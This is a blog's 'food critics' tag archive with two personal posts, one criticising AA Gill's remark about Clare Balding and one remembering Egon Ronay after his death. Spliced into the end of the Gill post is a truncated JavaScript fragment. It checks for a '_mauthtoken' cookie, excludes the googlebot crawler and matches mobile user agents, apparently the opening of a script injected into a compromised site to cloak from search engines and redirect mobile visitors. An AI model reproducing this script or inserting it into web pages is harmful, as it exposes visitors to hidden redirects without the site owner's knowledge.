Tag Archives: food critics

For once, The Blonde is not amused

It had to happen one day I suppose. AA Gill, Sunday Times critic and long-time personal literary crush, who I adore for his renegade resistance to all things hackneyed and his pursuit of phrases worth pasting into the scrap book of your mind and returning to time and again, has finally come face-to-face with cliché, his nemesis.

I’ve been in awe of Gill since I was a teenager, when I’d sit in the kitchen of my friend’s house, mildly hungover, reading the lighter side of their Sunday paper. There I encountered his restaurant reviews and felt the thrill of reading wit with which I could identify decanted from my jumbled mind and poured onto the page from an altogether more well-wrought vessel. It’s that same shiver you get from watching a good comic: the realisation of,  ‘That’s exactly what I think, but I could never have put it like that’.

From then on, I wanted to write and write until I was second to no one but AA Gill. When AA Gill was away, the Times would come to me, their BB Hill, for back-up. It hasn’t happened yet. But I still daydream of a time when I’ll be up there with Gill as an author with the kind of non-derivative witty turn of phrase that makes your eyeballs itch and your vision blur. Of course, I also envied Gill his lifestyle, and wanted to be the person dining at all those chic restaurants (minus Clarkson, obviously). But it was always his art that I most admired.

Recently however, the only glimpses I’ve had of Gill peeking out from behind that pay wall have been from reports of his antics in the wider media. When he’s not squeezing more mileage out of the old cliché of boys and their hunter instincts, he’s firing homophobic flares in Clare Balding’s direction

If his insulting label had been a little more memorable than ‘dyke on a bike’ then, who knows, Balding might grudgingly have given Gill a curt nod in the direction of novelty as she filed her complaint to the PCC. As it stands, his choice of targets begs the question: ‘Why can’t life imitate art?’if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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The last supper of a legend

I had a contemplative Sunday yesterday, because until I opened The Observer I didn’t know that Egon Ronay had died. When I learned that, it certainly brought back memories.

The first time I saw Egon Ronay in action was when I was about eight years old. It was a Sunday afternoon at my grandparents’ house, the telly was on, and my brother and I were glued to it while the adults slumped on the sofas making small talk.

I can’t remember what we were watching. It could have been a holiday show. However, it’s more than likely to have been Masterchef, which was staple Sunday afternoon viewing at that time. Masterchef also happened to be one of our favourite comedy programmes, firstly for its hilarious opening sequence of an egg being cracked in slow motion into a bowl of flour (which we liked to record on VCR and rewind…), secondly for Lloyd Grossman’s double whammy of silly name and sillier accent, and thirdly for the way the judges admired the painstakingly poised food for a brief moment before thoroughly demolishing it, eating one spoonful, and leaving it behind, razed to the ground. The audacity.

It’s not important how or why Egon Ronay had a slot on whichever show it was: what caught my attention was his job title. (His name too, in all honesty. But mostly his job title.) At that age, I was constantly being asked what I wanted to do when I grew up. Up until then I’d answered firmly that I wanted to be a waitress, because I loved the black dress and frilly pinny I’d seen on the French serveuses in ‘Allo allo. I hadn’t thought beyond that, except for the fact that I also wanted to read Enid Blyton at university.

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